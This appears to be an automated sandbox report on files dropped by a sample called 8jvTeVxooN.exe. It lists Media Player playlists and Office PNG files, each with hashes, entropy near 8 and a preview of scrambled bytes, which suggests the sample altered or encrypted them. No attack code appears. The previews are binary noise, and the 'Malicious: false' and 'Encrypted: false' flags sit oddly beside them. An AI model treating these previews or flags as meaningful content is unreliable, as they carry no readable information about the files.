Preview:	<?wplYw7.VX........$.e..\|...#.H7tCLf...u.wN.9w.......?.d_...S/>.Rf..2.[\.6/I.nc..(......~Z(.........<.6..hK...)......yT>..U..\|F./.K.n...@=G......fX........x`}]..=.sxTK.....c8....T...9NH..A.f+.n......K.Y.QC......,z..=.....3..r..v....s6.jk#...I..'q..J.y..8.8..u.......}...M[...].~..+.....JZQu..&8.?.Vn...U.i..G.~.8...HKj.....D#t...s[b..(..O.i..............Kq.Vx...#.?..b....e.....\mC.tc.0.....9t]..J..S#.....\...@...&~.D.}?du..jE...[.@S..$-mN..+...p.%.RY\....@u.F.........T.........7.T.+;!..&>~(.M..%s.4?(?........,..D.k..f.x ...U=..@..<F.^.qzpI>z.!g.+.y)..?.}..4. Ik...cE..>.`...^'..h.m.(W.I...........;....q.P;g.P:..[y...oYvv.O....t.Ou..Z.e.v0.$......H.YWns..i..........$e./o..`.w>.Ak.bvH.15.TY.&...f..?^.z.$..Yc.O.K......i......B.x....Dqr.\|..aX.......a.G[..5../-... K..{...q8.P.O..".~.-%....N....}1.2..f...;.....B~.H....\.yrK......u.(.k...m.v........,.Z..Z.m.G.../,..;..E.. !.O.... .e_...c}.yb...@z]L...H...G.L.7)...aa....g*"m_........z.%.2.g.7....

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\06_Pictures_rated_4_or_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	7.805609634703536
Encrypted:	false
SSDEEP:	24:235zMaT1T3bXATBzdJ/BaFwuDQJE7RTbb0qZr3E9cGhObD:kzMoXXAT/xMFjoE9j3fG2D
MD5:	8D606771D5B76E1E9834331BD2C57BE1
SHA1:	A18946938C444F1DCA60F46E9BAE3EE89EED59AC
SHA-256:	EDDFF9D16E6E899684FCF6C9938065A43C61B32D53255CF4586F6B9CEB8D49DD
SHA-512:	39049C39705F37605F6AF5A32AE022B8E6804ECA0C91C20F5DE4FB2F1D588B797BAF0097DC6B133E4E913F17EF1503EE06B6FC4A4FEEB10D39428CE4E8925074
Malicious:	false
Preview:	<?wpl.B]w..>....m...W.i....$.....q..I..]...m!..5.Dw.\|..u..0.q.b..>`.t.....62.nr..o=.3.7....._3..+.'w.oN...e.1.6...\.........+.omN...dx.........m.........p....~.vE..6..o.[.f.BM...I}idf)E.@...V_.Z)..g~#U....S..0...):.v.."...N....?...<[2t.w..D......O..A......<....A.&.nU.........YF...9.>.....b.)C.\..vx..b...m.r.+<W.q8?...<....sbf...Y...c...L.>V...$..3..c.E.5....H...R\|.4.M.T.......5.A......'.G...#.o@........r3..}g.4y.'.\|...;....OIO..P..B.O..v.f.0......xT..\lq;)=i..K.%.=~.3.cS.1..\..$...@.v............[W...K..P.C.<....C.Ev!.>.(.c3...'...?......;...........92`[.u.NL.\...J....h.....Th(.\|.S...\|p..%.@?%:...Rf.&?W..x.L....x.q.w...b.WF.+...r_3....)........Kb....H.....5..N..q..p>....m.....L..t..+..3..6....m.....]..%.SDt.=.l.^..E7..NFs.......w...<.l}.v...!e.;s..`.......y.?...Zk..k....G.}....#..Q.C..g........&j.}\|.[]-.D.qc.d.$.....V...U............gs}..x.(Qng..=$Z..f....}....2c..B..2.@9?.r..s-.......p.:.}.l..NvCg.2."";?......)J}..m..X6.d..P.N^h.`..L

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\07_TV_recorded_in_the_last_week.wpl

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1374
Entropy (8bit):	7.830371254995961
Encrypted:	false
SSDEEP:	24:5NLbz2Zm6VcOqwTUb0fuojJef11+CatIGnu1aHupz0ybaSyDhzVPOb77ROw6En2Y:/0m6yOqQfuIJef11LaOGnu1aHupz0yQ8
MD5:	4D0479F9A0D65EF4AB99842247944740
SHA1:	45817AD136EB859927416D25FB8BC98857B2EBE7
SHA-256:	B61B2FAEA40518D12134BB357E96B2C7662118FB1F728EA1DE4CFEA109C42C16
SHA-512:	BE500E49A5417A4386055C149B22F7C4BA9481A3AACACBE101F8CDA57C863A2CD198430F1438A067298F5C86142350F62CC5AD76ADB6ABFBE78F85A7A3F73E5E
Malicious:	false
Preview:	<?wpl.&GTM..5.m9PM..o=.S.\`...AY?.q,.`o[...j..Gz.>.W.$.>....s.7.k....z.~Z6..T.^7T;.....(z.\,.Le.>3..Y......o.7..+x..1.......=...i(h@...w.s.H...ovc.G/yk.P....;M.b........U.F.n.1.j?......M.XAW.y...{....W...b.pM.....y...)../.)}V".vjI......xi.e..d9E:.F.!..*.N.L..K~.N)z.&.J....b( T'....4.T..d<.>U..5.gqT..bM..0+Y.>..gE/.\|...cGQ)$AY.... ?........I~".1.?&.2..R.).}.Mm.cxx.....ow......e.R.8....+..._.dq........l...%S4....>D#"...g............A.......D....~..(..XG....n!...W.I...h.Am...Z.>.b5..N..\.z....[I.4...Y.6..39.6s........o.......^&g..m......pC.c.y..)10.Fti.....>+1....i.T.l....chD.?..u.I'.d......3..y.n#.#.P=B.R.@..S9.e....<..z.%p....F.J.G$B<y@...5b.8.KP1..[d.7...C...bb{...C2 &...%..@..H.x....4.(....#.c...].V_OX..Y4Dy..^Xe.>.vP...C\|U....o...,......C..t.......iUt...}w..86.m`L.....q0..u`.M IT..Z........_.LB..x.....:..f..p./D%.D.m....I.........U[..T288.g..+.P.w..E..n.5.Mq.R...V..6.# @s..K....J..7.#/.&V...:#".P.S[M.......T$.......&.0.?.7.

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\08_Video_rated_at_4_or_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1354
Entropy (8bit):	7.846518712348136
Encrypted:	false
SSDEEP:	24:pV/ZRC3Mr7ZRmrs16n6e26Ha0v7TmJuAKgjp0SCFs3aCq5Ol6LNmv9IE6LObD:P/ZI3KRmsUnLHaafvGgOluNmaXgD
MD5:	0A28743B5846AAE62BB4BFED7307586F
SHA1:	7CFE638683DDF9FBD23CF43F2E7B1012079A3691
SHA-256:	00F50E7A0109D3CDBB0EDBF509301F60BAD4E6BA6F2C7DA6D6B93636F5F54732
SHA-512:	21EA526D6A653B8DEA379DDE15002B16C06F4C46E716619B3A819CA46BB21542E2053C34F586FC39CE5EAAC82B486E0771DF4BA7E6EE6F403A155846A6ECC2E6
Malicious:	false
Preview:	<?wpl$.....=.V........).<Z.j...}.l....r.Ul(p,O0.R.?`...-s}..[..........<..5..C.VtpCS...d.G..'...>.@y.0/r.Q.......p...].....^....6Vy....."Ul..Iv8!Ic..s...t....._.J....;Z.3.o/Ez.zRu(M.!&...a...+^..."C...i@.@.%.l&......[....lr..F.=..nZ....F.j.]....G.}..K..W..4.w.pH.....b...a.~.....].q.8.aG.I.....J.5...F.........GlS...6......P..>$...Z.nf..(wj..`..G]..1Y...T(,..C..(.6..!..B.{..0...&.....)..._.......e.&9.t...?.....?..+&H..J.-.H'...`.D...8.#..s.....y.W,..B.o...r......"p.X.V-..Z.T...GP........R..A..a.M..L.Oe.w....<....Hmr..e.-.:OZ..\|.#.2s.s..o=.......;.......c..2.S.@.t..K.. ..M.....=..:j...Fl...L.6.._c..t.....X...h.6.1....Q\...0..I2}.l.X..A......o.-..L.l.Uo..='[...NE.+G[J80..q..=8.jj=Yt..29\Ai9........$...bW......S.^.kn..jO^..4..[L*O..z....c.E..}5rQ..J...j@.,..7...S.;s....m..........Cw:..l...........q...^..01.R.<.../,........^..9..N&..E.{.....l]n.,g..u..y...w+...6.K...\|e..yv....TB&.....\..d.DS.?....&.[..........'n.:$X=..._M........).Y

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\09_Music_played_the_most.wpl

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1359
Entropy (8bit):	7.8416233796632175
Encrypted:	false
SSDEEP:	24:oq0brB6OnO62kMOmzaYCV1y2nIHoI31Kn3YZkDQnJfzQcFObD:Z0/B6OxMODYCV1y2IHoI3MolUcKD
MD5:	84614D12646D1DCB8065D9C8F6312C29
SHA1:	32194B39F14340A2112FEE33A4ED8069D6F8FD5B
SHA-256:	3887096BC028702B62D6551637C80F8A02B43EF137D5C89F40B15F32690B9560
SHA-512:	670CBE1FE4BF9BF3C909FF2583664A5F3885A38B6A904E9400E42037D7934E3009DF363030AF4EC045463443CA4E9C775EC13F656B1EE379702F941CF16F70FA
Malicious:	false
Preview:	<?wpl....s.$..r.o-....P..h..Z.&G.%.#W"...\.t.K.8...R............r...^....Y)..{..f.P1,.xG...g...P.0.I.......s.~...+..I..9'....2.b.&..."L.".$TB....N...G...>5.P..9.dS..j.......6Ja..(.p.h...wqR.aG.}...u..;.>.7.D.`H.qv..3..B..jm:....3)'..{..6.I.I&..s.35,K.h.....x y`.XA.....V7b.XK..,..dL]A.,oyU-.^.J...-.f.~d.<....kh2.q...q^.X..D.q.(.g..Ci..B..ku.e..N.0/.(.a..+.'.94."r..=..z!..(.7..H.v..G.._....8.......T....@.BD0kw.....}.........eI....@D...K....~.H......).Om..r...@.p.g}..O.s.eE.{.T.2.#..R..#....&.L.8.]......l}.W(...F.i...:.:k............).M>N......Nt..g8m.0f..P..f..........D!..ps7..&..!..fI.>V....Y.o:2.8]....QT.....$..;?C.n.E>.......%.J.......R..v.(...AF.......%...6.......~r....-.5...p%.{OYI N0..J_P\g..z.0X.!..7.R..{$.".._?...n^....c.(f.,_t.f_A..N....,.f.LF.?.EeYKA..)./i...^...{V...I!......E;....X.^...~.xK4@>..?...Xt.lV....jDQ....A...a~......v<......#.....zA..8..d..`ZM........6+.M.%R= 9.3.R.0......y...{$..?..$..N,[..F.=.

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\10_All_Music.wpl

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1397
Entropy (8bit):	7.869276113650249
Encrypted:	false
SSDEEP:	24:KKI5u6EqPs/qILHpI2+Y/BqVYvKROWEPXWCQpLMldxue0lD/WL/1pOCeUAgJhdOX:XIMqYHp/0OvKkW+Qabxi+/3OCexgbCD
MD5:	E06B304B54DC81B4AA9EA886CA14A254
SHA1:	B9DDB388D2FCAB984217B228BBD07C168A7D30C0
SHA-256:	DCCC55C8C102F979FBC63E93DA5D413858876C5C4F141BC99C685BE04CE4756E
SHA-512:	845A47411B25C0A70D55C05F0518C7DBBA995B1A52047B6A1D04753AA571A4E3329DD18A81C7AF7BD4AE976196A03D4EA56B22CE34E909C818AD000D4DCA11BC
Malicious:	false
Preview:	<?wpl..UlWq...........c.!...o.....F.-..T..<.K.[......4...Gn(R.!.G&{v)l.0...;..f.B.=}.r....e..Vf.a......_......Fv.....E......A'...B..uN...^....#.>9(r._m.j..e.Je.,...3...!.....m.$.....]..u"_..R7x@...M...&...R.f....o..w....O.._..WM#..0..U4.+...r9.W36.y.Z.]".........@y...E._L."7!......4.+cU.T..r9.G.......H.....Wn....U....l..>.q_V....Xm......]..^.w.O.r..?hy.I...Rf.d.&).$...Q.ITA..8.FO..TB..?...C...#L.+..0_...k.}.q....F..t...54.^v7.J...d..R......a...z.s..PA.K....../@..6..gr.A....<.x:k~N...W...S.4y...q..?.w....a..(y...Iy....EU..K.3%.R.....q......s.c.p..b4 ...-?.#....{....,D.F.M.O].......WcU..D.i.Yy..k.^a....O.....b..'.....)..1.....C.....B..R@W'.e..wxNqY\...c7.c..%.+"n6..$Z.=..j<u2.5....^.i..gG..;p........=V%y..m....Y...G7K.#..WOcf..`.*@.J;...F:.9[\eP.~..4i...M9...&..A..s....>$.}.^......c...o..#...P.;d..;{.n.().L....m...!XR...6a...tV.G4...eh.x......-.>......}.{.5.....>....M ..P.xJ80....z..,.i.n......wc.../..E...=D...=..!.y...G...;S.

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\11_All_Pictures.wpl

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	919
Entropy (8bit):	7.7831925484882145
Encrypted:	false
SSDEEP:	24:tYrbRO1VBiDjPPObOZ3hvwRBCBaJ1PVI9G6L7E686lObD:ERO1qzrZ35SkBS1E9N86qD
MD5:	AC0D6BA6C6DC9DDD684AEEAD3F6120E6
SHA1:	189B0EADF0CFA4845B838708FFE57C9EA24E47EC
SHA-256:	1FA0B216A554BB5726FDC2416E91E7637384EFB4746E7065C21996B0FE902B60
SHA-512:	73E777F6CF6B0BDD3DF90FAA86477572C2CC4E4EB25622876B7F35B98139F7D8997E85D6A6BCF3BA0FC695CABCEE9B81560F52E3636BFE0CC945DA439F594D26
Malicious:	false
Preview:	<?wpl..z4...4...&#..T!.N....e.:E.h.D.!I..c..k]@A/2.........W..>M1...=...Z...wm.~yJ...m.<........x..#........V+.....Zn,..u:.sr.C[.A...#.\]j...W..g.. S...)j.";.....m8BN.....s)..."$'......}...u.......%....p0...W.r.N....b..Q.)G...(qE...."..r..^....9...._..J.4k...`p.m....P...>.4.C/W!M.....Q......#I.(...=P.......0.'....En..q1.......)..........._dJ..J\|m.I.....<Y..h.'5!...(E.E.E.PI.O'.......G..._.3....M.....F.k .k....Z.~...@0.U./_.?....2=Y.{.t....k0D6....%....k..h.>...\....z.z.4?...4.B....XY....Z.@.....DQWk}.!...f"..R(.f.N.aJs\|.`h..@.....D.........H%.X.......9.8..M..s.z/%.]E..&\......:).6PT.z..T..t..rN1...xE....&.Gi.V2&...2u.Z...UL`.TBU.:P...;.....P.. B{R..g..^........=..Hlc...dIL....s..e.Z2....,o.\1iKH92c<.W!.v)1y..wq.].z.t,.C.q.:[_I6{ M.n.Aa...f[Q3.P.f...D.\T4E...5Z.(..?...LH>@....zTW...]Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\12_All_Video.wpl

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1413
Entropy (8bit):	7.826708679842987
Encrypted:	false
SSDEEP:	24:Y1DHgTFhizVlfxUmP5anadQTfPM6WrPT9ngNCuclp4SBonuPi8/sTXZT9fabMnOX:wHmuZUm5AiQT3MRTlgkfp4m6djfrsD
MD5:	563F9F946B53F6100935CEF185A4F1BB
SHA1:	12D54B903104A66AB531B1878A22F507A7E11808
SHA-256:	B119280CB5FEA14C44E6CF387C0742770E335252FFD4C26DC57AC88828E224A9
SHA-512:	D55C115956C2482F418CD0FCA633AAB0D033A847E9E19CD1C24C753A31C25D178909F8D3B4EB950772CD20569FADFE5FD9388941070EF98BD65CE6BD6FCF4199
Malicious:	false
Preview:	<?wplE._^.....@.......;L..fV......G........j..Y....../.......#R..R2.{.i`...i....#@.A.{D.4`.^....j..398..)+.m.E.Xt.;.D6.Av./gh.F.... .~....$...-&{,.Jx..s..bV4.MC.M.....z...CX..x.]...e.......#BtR..DR.."........&..>..h....9..0o.s\1Y....Z....U..5e.(..KY..AE..3.f..w......Wz.v.katj...=.....6.h6.P^#y.m..O....f.{....5{......E...d.._..?5R.[.....3R..A.?.M.E[.O..Q{..Q..n..H.Ffw..'.-..av...P%.....Q..WFrR`.w...R..#.LF..j.$............m.v....+"w.....:y.X6lj.. .m.......Nj..u.....d...b,.....;N0.P<}.4F..y..M...l.jF......T.....-..>.......R..m..=....`...\|./>.......5`aEc..f........ \c..1WH.Nn.g.7..s......^t..jtt.V......8LC.5.sT(..j1..&%`.p9E.K.....^..9...pBL.O.=._p....D._..."v..7....1...Cb...1l../:mq.......E.@6oK...ChwZ...O............J..j..P....An{,.FC......l.n.B.pX...7....#.6...b.....H.I.._.w.S..?%.&.C.\|.p.....hXW.\%./44..^......g.....o....A......z....6.+.b.b....8.{."=w~......g........Pm....nx..9.G=......A..S...Gd.Saq.*.B.1..X-.$..U.O.$.%{.o....'>yz

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{45F61A7D-A745-417E-BD88-2FFDE87A6DA8}mt16400656.png

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	7074
Entropy (8bit):	7.972041587896867
Encrypted:	false
SSDEEP:	192:IjEjj//Apr4Jq/Y6U2CfppK43jPacWJUZfQcu:IEjjHApa7npphjydUZ4cu
MD5:	4C90A84CE9C373BB655E73EE72CD8833
SHA1:	055AD4429470C907936920072FB1433F5326FAC8
SHA-256:	60AC0BA9A948169D54DAF3FAF93203EADEA19A181ED22B06E32FCF0933FB2001
SHA-512:	53976C896CD276750B5D2FA4E89D5736874B082AB4693C36EE2DCE376864AE4E871CE80C5165868DCEB3031F59A81F0989A86CAE35439934A8E4E550D51EB469
Malicious:	false
Preview:	.PNG.....i.vK.T......T..z.T.@..z'...O...`..UM$.X..../..f.......v%T.N..U..{..._.{8.`.).'.K.....5_..v..Ju<..I. KZ%..U....#(..T.T."..j..W...i8N.....x.....W.....3...p.....&.._>`Gn.rH. }v.[.,.L.cy..ZT.\|6.)...........Ey.A.X.u..B]....T.I.H.\.k.3./...}.@.....2.G..B...\|.(m^E.=....V.h>.1._%K.u~....d.2}_E.:!.V!..i.............A..........O..E+.u.?...)..T.f.Q@.X.(.txa.M,I...v').....N..K.'Z.,z...E..U..z/.<.{c....1E..E..p..Vr.Oy.R...t.o..W.)..m.......1...vD.T:^V.p..b..Q..p._2.....C.......q.yt...zIL....q@9.?. ..[..!.J....gt........;O .}.W......q~.0p..8.....R%a"(J.J...?.G7...J..iGj/..2.5.....^,......G........z.....H.(A....9<:B..{.7.z.q.$4K)..&...^r...F.cIP ..n...'.42..u...z.U.'.../._<...c.N..d4._.J$)-E.RL.9.Y..n\|HL..x...b.....JY...CT...[....T..]..y.#_........_..\|.W[..V.V....._.1ci}2._f.\|.4.DHH.%oZ.....A+..n..s9.4Jh5.......R......q......Q.....W{../IM.F..&....}....CH.6zE.....'.Jc.$.8....Z.r5..u......>......y.....nP.1V..e...)ek.......f.@.....A2s.7{m.....k+N

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{7B3AF8A2-A95D-4447-ACC9-7895C91C2D45}mt16400647.png

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	7438
Entropy (8bit):	7.978554027804664
Encrypted:	false
SSDEEP:	192:Ivk92oRnHDfyXs7eSQtqmjD9KU05F0sBAWPP:FRjfyXaeSOqyU10sBBP
MD5:	ECF64345D1244F5425E4E671B0B4E09C
SHA1:	AED87735A7F43E4F5D35259623280750D9743736
SHA-256:	F7FEDC32D37CBE7F432ADB8532F990A089EED1892ECD046FC55DD2B6E71944DD
SHA-512:	B7A2FE2AD65470387CE3A07FC9950174F4C74A857195BCF027C544D5D5970555CA0EE7C803C3E1EA117AAC9BF8FCCFF68D15257756AB1E16D00067C4F2AECABB
Malicious:	false
Preview:	.PNG..C.v.n .o.@Fi'.......G.Co..i....F'.@5.\|..W@.9..[7.'...Hw..3@)..t.=.g...euW...#........\|bF..g..l...U.I..C:........._........X...B.).G!...[....H~0+..=...3......G.N\....&....9..LI...L..K.{....~8...~./jA{=E.Y..#.......)a..]Px2..+..u.C....L.F.....}f.Cc......Y...(.+3..Y........k..L.'w5v..&r...G.V..<V4,U..[.:l..6J...W..RW...~e.\|.R}r.\|....w;D.r/%......[Q..0..l.....NZ.k5.."..`h..Y].......u.Y.........`..N.......2.U..j.V..s..%[.C..v..g.06.6f...;...[...b.G...s..@.j.)...s..\|W_.Qx$..8......H...3...+<.\|.c...h _.!n...a....a..U.H`..Ifu3@.^)..HY..mJ.....uA>..b..9%.M{g21.=}....E.@..x.."(.U..E......i..{.b....M......d.z.a..,...Yw.B6...f\y..... `Y.,...Mn..R&:..^../4.&.Z2.y..3eh..6..4r..i..H.j...q..wk..G..P\|.T..E.=..}...w:..K..k..a...sE.~P5#...........M..h...0.&.b....]....0..+...Z.9..g.xU.......D.7z,...l...8B....H<NC.b=...B...q........e.....q%.9.j.....>......H.}>...xc ..#1.G..B-+....DK.~.T..X}PQ...1.#.SG.O...r...t.F....c\v...........\|.._.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{7D2AAE1F-E21C-4042-8EAB-08D27101C10B}mt11414620.png

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	8887
Entropy (8bit):	7.978453980121258
Encrypted:	false
SSDEEP:	192:hCT0MxSRR2zUCM9XPh7Zjrx3Pz9vjj6QTwWt/+i/wyg:hCT0MxS32Ynr5z9jjOWRM
MD5:	728A380466054FCA096965308FDC73CA
SHA1:	F7469F804E57EA6ABE38F1403F3AFF1A9A80E986
SHA-256:	93B921CE179A43973777A3FBC3255791108E932DB8731B9E0F31CE84B799C06D
SHA-512:	EBC99E2758FFE05067E8FD64FA607633B4A4B2DF07DE27EFA03669E23C74621088C0DE58E6C3E12236CABBBF90B3695273904612F3E19F66990C26B268E226F1
Malicious:	false
Preview:	.PNG.<GH.T.\A...v,.u.A...d..Q..Q..d.......D...5.1.g5.x..q..QC>..[..W...)Q..hj5c,...,.z.Q[[H.4.....k9D.u[Y..........MJ.!.W.9&x#..Z..%=..U[.{ .0....+.n.h.<.%.h3.. ..K0..].Ewz.z.........r.#....>.8\..>P....;.7ib.5{...l..Kek.9._.....w.8..C..k.!=8...@..$a..&.vc...........i....F(8U.....G#.."..g...2S.%..c.y9...J...FKE.Y......O)..Q.Fjf...Uec..J..j!(47>o5..(...S.....R....9....7{p(=..6..`........07..{.[...R..bab...].........Ac..".......7.?ih...+.{R..J.J/1.....S^..B...But.I.E.@.TG\d...0...2_a...G.d..k.O..P.J..O0Zjc'.u...5.....O....^.%k...KIA.....t.p...k..g.o'....K.U.Uk.a..I.y_.Q.0 .M.:....&.=Bx......D.uG.).*.....K.3..9.k.-..S.....[..........R...'-..Q:$u..H...<gIK..p...og2Y)S,....\|...o.....X.5[...N2F..\2.uFZ..-....@-.W~.s..d~.!.E.i.V#l.....s.Z... o..w!#...gmD...........V.V.((..K.."..Qe-.."....\|hxD..J>.L.'.....[.<3A0..A..8....r......J}.B..V.E+.z<..WX...I.z..k".e..........K=(...0l.../.$..!.W..\|P.>..&z{.fd...,j...Q(.]G\.R....q..H.z.._.Zw...{.h.gMAf.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{967E9DC2-54C6-4D72-9409-715F9A3F61E5}mt11829122.png

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	14457
Entropy (8bit):	7.98726743986929
Encrypted:	false
SSDEEP:	384:bu/2K5NpvU4LfgaDgFlOYsmJXflBGAsfjPH9jVb5m:b0P5vUgvDgTxbX9Bpsfj/hh4
MD5:	FA719AE0BD8DBD1E92538E5BB0EDBC17
SHA1:	0456E625E04054F570BFB08E3807DD1E7F9FF5AF
SHA-256:	6790D676AA36E329780A5BC95829E5F4CB6E766820C1179C91BC8A3DB1AB4B33
SHA-512:	64C1D991AB958F4D4BEFEEAA33220C4E60192298001E140B040B4B1D05B527751A62BBD93D361AEECCAEC2C07BD0100F611C986C85A68F71504EE52D5E470975
Malicious:	false
Preview:	.PNG....c.8.K.."(p.>.....2.Y...+.v>r.s3..7...$.....L..G...h.....w/.....).x.g\|.]J..W..>w.^........)J.9c.m5\...^...?.5.l......6b.8....yZ...Sa.2..y.QUm.....%...).~..U..@7..u[...q'">.r.........-.ab.....Yv..F....U.N.....F7o+..T.C...}67.42......`.&..(`.w=..Hdm....._.....J.g...<_....<MBq.b.....s..f`.....=}I.P<......[`..z.....CY....b.6....Bh...........O.:2.3.K..u9\r^<.#_.4..o.~...hp.C0...~.......F..........V.a`........>R..d.5H.J.+.\~G.5.U8..!...N.Z.....0.+.hEH.(...q.\.Smp?~r?Z.:`.......y../.D.S.....z?\.=$.L....nfD.o.(i.F\|V......d..m.....1\|.k..P(.....%..../.$D.....c.H.\|..-..TR.@.......?m...=...............[...)..a{.\|VO.D....-......U.Th...].......A.!Z*......z%....=P.m;M.ee.X.....D...U#.%h....9.:{X9.......m..!.E`0..WG..[...ZC.b.....?.}J...(.0..p7.^.@..d...h3...Z.Q.:.F...+)S...G.R..&..%.DV!NA...\|.......v....8.;..i.......^........j...7g..\n.!.d9.{..(.A/..4.)....-e...3......8.!.gUd.OX...5eN... XT.e.....fi...^........Bg..^l.OI..K..U..Xz.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{A4858C46-92BF-4775-ADF9-F93EB4C5F636}mt66963475.png

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	7986
Entropy (8bit):	7.979752339632694
Encrypted:	false
SSDEEP:	192:3BSfWoE62wz/ipMw7l5Vn+KrMdtSASKCQwfU:3BSOohliln+SYEABCXfU
MD5:	835BDA64833DD1DF55471949E364534F
SHA1:	B164F1410BD096AD6F99BE40B80A9C89C1DEAD16
SHA-256:	27AA2E04D98C120D94F6CF5AA1B8A5EEDA210C3A3B3F4FC7BD5D5990B3C36A9F
SHA-512:	DDF8E17CF3A6E29EFEF9374C37082D85E67FE48F60636EB6DB717C5AECC8EFA8AD64DDC98BB53B26EA9A769B64B0983262BABEE50C363279A59C4A72BAF865E8
Malicious:	false
Preview:	.PNG.....kBY6q).{...a.`..PV.[...>...0....H. ..!........w.....4..Q.O(d].\|.Y..@a.I.?......d...D...Mb.._.Z.CB.pXy...d....L....w.=_.P...P.!2.._../}......k...l...c6sb...6..d.!Vy.b..c]...(..r.>..~...g!.........r.B.;.O..y...c.@..Tb...j....=.u....!$....U.g....~V..._..Hy.3._......T..p.2O..C.$.8$w..uK..gs.r..=....a.h..e..m.o.s..cP...k....v.U..`....T.x2.?.....!..B^i.YR%..HH.U2.HXj..U(.B.B..^..{...2...5....g<.0.ot.j1.g.y....f+....{`..P...'5.(.n.v.$....w63V.O.x..5@}[LHZ>.=PR.B\|.4+b.=.....<.c/.......rTi..4...S.......`8Td..V%.W..S[......m{.../.,.<S.pt`:7D6.m..#A9.....k?..7k..d.p]..zx..iQ.'..z..._(....u..cQ."..x..R.G.\|$J?.....1.S.Z...Z...\+.b....Xl^..p7.oT.......M]...f.;.Z.l.ns..H......5>.d...#.{.:..O......j....gP.J.l.`@.,j...F.fi.....&5....i............+z..J..Z.i'.M...Ml...[G....B ..Y..b.yA/Z...o...A.......E.~.o..[...F+0....-d!w....C.rm.Z:...!.\|.~.q...S..{...ly.?.2.2..^X...$%@...m.5..x......DqG..$.........w.wY5.`..Z..F...>..Ko......2Sf(.]..[.C+qZ2..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\DTS\en-CH{6D74D3E2-198E-4F92-BDE8-15D234E7DBED}\{AA4547C7-FE83-48AB-9053-3A60F16A4C34}mt10000137.png

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	5293
Entropy (8bit):	7.964868465720723
Encrypted:	false
SSDEEP:	96:ADeSuLYRU8lYRQTngjHakOjNvZAWTJ11S5npXS10q03bDO9PeW0Kt/nl8V:5QvbDgjak2ZZVJjmQgba9PUcl8V
MD5:	9F777C30B389BBC6AC2ED9A16A2A729D
SHA1:	379D19ED09CAF5B51D362959BB75C9CD4B5D0186
SHA-256:	6B6810C380FB54878851AD0A9F18BB1893D07D712CBBE5B29BE39975D4983333
SHA-512:	5AE473C12101EFB6489F7B00E7AD59F227E475A558BEA279B37F4614D7896AA0A447475B8785ED289C2CAD95A37C13944146E13238DCDA54BE1BE5B0209A273E
Malicious:	false
Preview:	.PNG.-...5...6..S..S...X.1....Z.)E.o..o.`...=e'.p..P@..7.......?.V....=?q.,)......7..E.L....{.t.....\?W..........U..I.h.}..;.x....5...Rz.f<og.y.a.6.M..@)..b...Gf.H..]...\..H......Dn]...D..r->..nq..\..jpO...G....#c.......C..o,qez..\.}6...N.<\|s=....\..:z..S..0.Td.R~...Nf...;.I0...G....&....u..;.ex".r......_..V......M...."W.........+.f...E(z..h.b...)...{.....).T..Sd."_.#.+0.......y[x.`....^R\|.m"...7...h..D..TP...T.,.F..!..>~..%.S...A....,.}...D..\|........k...c]w>!0.E....$z.$.9.1,..,tOG...5...F..d.B...m......7..N.M.O]....n."e....L...1.]...R.Z)z..4)Cc!.0..h.............d.oT.#.......w..N......Ej......+..........:w.gf.zhY.#....}R ...h....?...N...e.....Zo.;.f.W..".<^.b.F..9.X..[...Z.\.."....F.g.s..0...q.....3..C..$.L.G,.!..+.......Y+.u..}...@..-....=.r....#.rB....A&Y.....^:hI...x.h....&..5.Vy....?n....b.+......_..~41........F.&......J.DegC...b4:..Z....%.n) (u...T...X4.<..........T.J....."..r.....iN.NT.vz..{......2....G.AH{..^.<...7r.5+......<..0.B{....8.

